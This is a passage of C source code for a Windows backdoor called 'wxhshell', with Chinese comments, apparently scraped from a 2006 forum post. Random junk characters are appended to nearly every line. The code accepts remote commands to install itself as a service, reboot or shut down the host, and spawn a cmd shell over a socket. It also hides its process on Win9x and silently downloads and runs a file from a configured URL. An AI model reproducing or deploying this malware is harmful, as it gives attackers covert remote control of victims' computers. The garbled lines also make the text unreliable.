  else pA3j@w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fzh%#z0  
  } 'IP'g,o++  
  else { dG.s8r*?M  
3ag*dBbs  
    switch(cmd[0]) { H)t YxW  
  <%hSBDG!x  
  // 帮助 bBAZr`<&U  
  case '?': { !FipKX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U4%d #  
    break; OgyETSN8C  
  } \    
  // 安装 +N"A5U  
  case 'i': { 5Ft bZ1L  
    if(Install()) zCL/^^#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [%YA42_`LD  
    else yeKzI~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T9KzVxHp5  
    break; '[I_Iu#,  
    } 8HX(1nNj}  
  // 卸载 )+wBS3BC  
  case 'r': { [|d:QFx  
    if(Uninstall()) wblEx/FqE^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@W0Lk[  
    else D^=_408\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L{bcmo\U  
    break; 1d7oR`qr  
    } + htTrHjt  
  // 显示 wxhshell 所在路径 c 6}d{B[  
  case 'p': { G5ebb6[+  
    char svExeFile[MAX_PATH]; b=:AFs{  
    strcpy(svExeFile,"\n\r"); N/DcaHFYo  
      strcat(svExeFile,ExeFile); qW6a|s0}  
        send(wsh,svExeFile,strlen(svExeFile),0); 9@./=5N~3  
    break; HC*=E.J  
    } Kpz>si?CL  
  // 重启 ) I 4d_]&  
  case 'b': { Bt[`p\p@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z!)_'A  
    if(Boot(REBOOT)) SW UHHl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wg^#S  
    else { &fdH HN  
    closesocket(wsh); A`Z!=og=  
    ExitThread(0); ]7O)iq%  
    } ^)rX27!G  
    break; <?&GBCe  
    } Tc,Bv7:  
  // 关机 ;i^p6b j  
  case 'd': { T.<er iv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 49nZWv48"_  
    if(Boot(SHUTDOWN)) gZ%B9i:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~KD x  
    else { yTz@q>6s-  
    closesocket(wsh); } Ga@bY6  
    ExitThread(0); \o?zL7  
    } skR/Wf9DH  
    break; 2WIL0Siwl  
    } Pr{?A]dQ  
  // 获取shell xYc)iH6&  
  case 's': { -6;0 x  
    CmdShell(wsh); Z}T<^  F  
    closesocket(wsh); sDK lbb  
    ExitThread(0); P_j ?V"i<  
    break; [^A.$,  
  } Jn +[:s.  
  // 退出 ^ox^gw)  
  case 'x': { 7e/Uc!&*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1B+MCt4  
    CloseIt(wsh); Zd1+ZH  
    break; /[VafR!  
    } (BVLlOo?J  
  // 离开 M-K<w(,X  
  case 'q': { 'C1=(PE%`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~&CaC  
    closesocket(wsh); 3Ku!;uo!u  
    WSACleanup(); K0@2>nR  
    exit(1); G`ZpFg0Y  
    break; ve.iyr  
        } 8U/q3@EC  
  } V=VL@=  
  } k.rP}76  
s!~M,zsQN  
  // 提示信息 CCDoiTu!4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xoTS?7  
} !oLrN/-  
  } R,C)|*ef  
0J_ AX  
  return; 0AY23/  
} S59!+V  
{W3%n*q  
// shell模块句柄 T[N:X0  
int CmdShell(SOCKET sock) ilw<Q-o4(  
{ KM g`O3_16  
STARTUPINFO si; =%znY`0b56  
ZeroMemory(&si,sizeof(si)); TgSU}Mf)a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X1]&j2WR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W'E!5T^  
PROCESS_INFORMATION ProcessInfo; =5b5d   
char cmdline[]="cmd"; [`_&d7{-4b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6`]R)i]  
  return 0; F8;M++  
} (sW:^0p  
g.kpUs  
// 自身启动模式 b,Ed}Ir  
int StartFromService(void) /R^HRzTO  
{ ! W$ u~z  
typedef struct ') 5W  
{ IPbdX@FeV  
  DWORD ExitStatus; 7I/Sfmqy"O  
  DWORD PebBaseAddress; -g]/Ko]2@$  
  DWORD AffinityMask; x +! <_p  
  DWORD BasePriority; V2ypmkn 8&  
  ULONG UniqueProcessId; p)f OAr  
  ULONG InheritedFromUniqueProcessId; >@[`,  
}   PROCESS_BASIC_INFORMATION; U`,&Q ]  
[@ "H2#CQ  
PROCNTQSIP NtQueryInformationProcess; ?;0=>3p*0  
{p|OKf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]cc4+}L~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |b;}' *  
Q nDymVF  
  HANDLE             hProcess; HW|c -\tS  
  PROCESS_BASIC_INFORMATION pbi; !aeL*`;  
;wbQTp2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z tHGY  
  if(NULL == hInst ) return 0; ibl^A=  
}H?8~S =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HPCzh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l#7,<@)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  V-}d-Y  
:M`|*~V~$  
  if (!NtQueryInformationProcess) return 0; q+x4Od3  
Y)N(uv6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y:FV+ SI  
  if(!hProcess) return 0; ,cWO Ak  
U_ V0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RI:x`do  
+>.plvZhu  
  CloseHandle(hProcess); fNFdZ[qOd  
,yWTk ql  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?6p6OB  
if(hProcess==NULL) return 0; v>c[wg9P  
jm =E_86_  
HMODULE hMod; \_!FOUPz(  
char procName[255]; E(4ti]'4  
unsigned long cbNeeded; jHT4I>\  
.hg<\-:_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H #J"'  
:u'X ~ID[  
  CloseHandle(hProcess); DGC -`z  
;QR|v  
if(strstr(procName,"services")) return 1; // 以服务启动 prlnK  
5u:+hB  
  return 0; // 注册表启动 r4gkSwy  
} 5dMIv<#T`  
C N"V w  
// 主模块 s2@N&7"u)  
int StartWxhshell(LPSTR lpCmdLine) w(J-[t118  
{ @!Il!+^3  
  SOCKET wsl; teUCK(;23  
BOOL val=TRUE; Ar'}#6  
  int port=0; (u]ft]z,-B  
  struct sockaddr_in door; L:`|lc=^  
enF.}fo]  
  if(wscfg.ws_autoins) Install(); Z"lL=0rY/  
\C ZiU3  
port=atoi(lpCmdLine); B+jT|Y'  
.!U `,)I  
if(port<=0) port=wscfg.ws_port; XU2 HWa  
nOkX:5  
  WSADATA data; zr&K0a{hc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]b'K BAMy  
iEr|?,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7_S+/2}U*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5BS-q"  
  door.sin_family = AF_INET; <.l5>mgkCw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y3-Tg~/~W  
  door.sin_port = htons(port); eoR@5OA&  
C]W VH\P p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (*/P~$xIj  
closesocket(wsl); s$C;31k  
return 1; vn .wM  
} 0+/L?J3  
<z#r3J  
  if(listen(wsl,2) == INVALID_SOCKET) { C0 .Xp  
closesocket(wsl); c500:OSB  
return 1; To]WCFp6@  
} L0UAS'hf  
  Wxhshell(wsl); -njxc{b  
  WSACleanup(); vO]gj/SaT  
3Nr8H.u&q  
return 0; *gMuo6  
Y;e@ `.(  
} 4-E9a_  
GE Xz)4[  
// 以NT服务方式启动 sG}}a}U1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2a5yJeaIv*  
{ *W(b=u  
DWORD   status = 0; -3wg9uZ &  
  DWORD   specificError = 0xfffffff; SQvicZAN)`  
=WyAOgy}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (-B0fqh=G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cC"7Vt9b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'V4.umj1~  
  serviceStatus.dwWin32ExitCode     = 0; VEpIAC4  
  serviceStatus.dwServiceSpecificExitCode = 0; IhM-a Y y5  
  serviceStatus.dwCheckPoint       = 0; CS50wY  
  serviceStatus.dwWaitHint       = 0; S&_ZQLiQ$  
!h?N)9e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bp_3ETK]P  
  if (hServiceStatusHandle==0) return; $ n  n4  
Vn];vN  
status = GetLastError(); VY=~cVkzS  
  if (status!=NO_ERROR) ~ZG>n{Q   
{ K._1sOw'"Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,{J2i#g<  
    serviceStatus.dwCheckPoint       = 0; _=U XNr8S  
    serviceStatus.dwWaitHint       = 0; EIEwrC  
    serviceStatus.dwWin32ExitCode     = status; @faf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6@H& S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8`}yRsQ  
    return; [DGq{(O  
  } e Yyl=YW  
zFP}=K:o)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TCmWn$LeE  
  serviceStatus.dwCheckPoint       = 0; N%y%)MI8  
  serviceStatus.dwWaitHint       = 0; u+(e,t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3i >$g3G  
} ],H%u2GE_  
J#Bz )WmR  
// 处理NT服务事件,比如:启动、停止 $N,9 e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YlPZa3\  
{ ? Z1pPd@  
switch(fdwControl) f,t[`0 va  
{ tSYeZ~  
case SERVICE_CONTROL_STOP: wKk  
  serviceStatus.dwWin32ExitCode = 0; .IF dJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A javV  
  serviceStatus.dwCheckPoint   = 0; <u->hT  
  serviceStatus.dwWaitHint     = 0; )I1LBvfQ  
  { Y]Su<t gX?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p7.@ez ;  
  } )byQ=-< 1  
  return; jG)>{D  
case SERVICE_CONTROL_PAUSE: _'2r=a#`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A<>W^ow  
  break; o }Tv^>L  
case SERVICE_CONTROL_CONTINUE: d[TcA2nF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,LcMNPr  
  break; SB$~Btr  
case SERVICE_CONTROL_INTERROGATE: *aG0p&n}  
  break; EnwiE  
}; -[ ^wYr=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (e F5?I  
} ^,U&v;   
%}'sFu m`  
// 标准应用程序主函数 QfcW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gMHH3^\VH)  
{ 3vrQY9H>  
eRVu/TY  
// 获取操作系统版本 pKr3(5~  
OsIsNt=GetOsVer(); JXPn <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YI%S)$  
.~b6wi&n  
  // 从命令行安装 ffE%{B?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 61jDI^:  
m1daOeZ]P  
  // 下载执行文件 Aqp3amW!  
if(wscfg.ws_downexe) { T0tG1/O\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Z4,UTu|Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); BOh&Db*  
} egr@:5QwZ{  
r>z8DX@  
if(!OsIsNt) { K =7(=Y{  
// 如果时win9x,隐藏进程并且设置为注册表启动 8d Ftp3(  
HideProc(); 2{U4wTu  
StartWxhshell(lpCmdLine); ^.-P]I]  
} >"`:w  
else ]^ RgzK  
  if(StartFromService()) Nk=M  
  // 以服务方式启动 d^lA52X6P  
  StartServiceCtrlDispatcher(DispatchTable); F},JP'\X  
else RKj A`cJ  
  // 普通方式启动 @XmMD6{<  
  StartWxhshell(lpCmdLine); 3%cNePlr  
x;b'y4kH  
return 0; $f)Y !<bC  
}
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只看该作者 1 发表于: 2006-10-10
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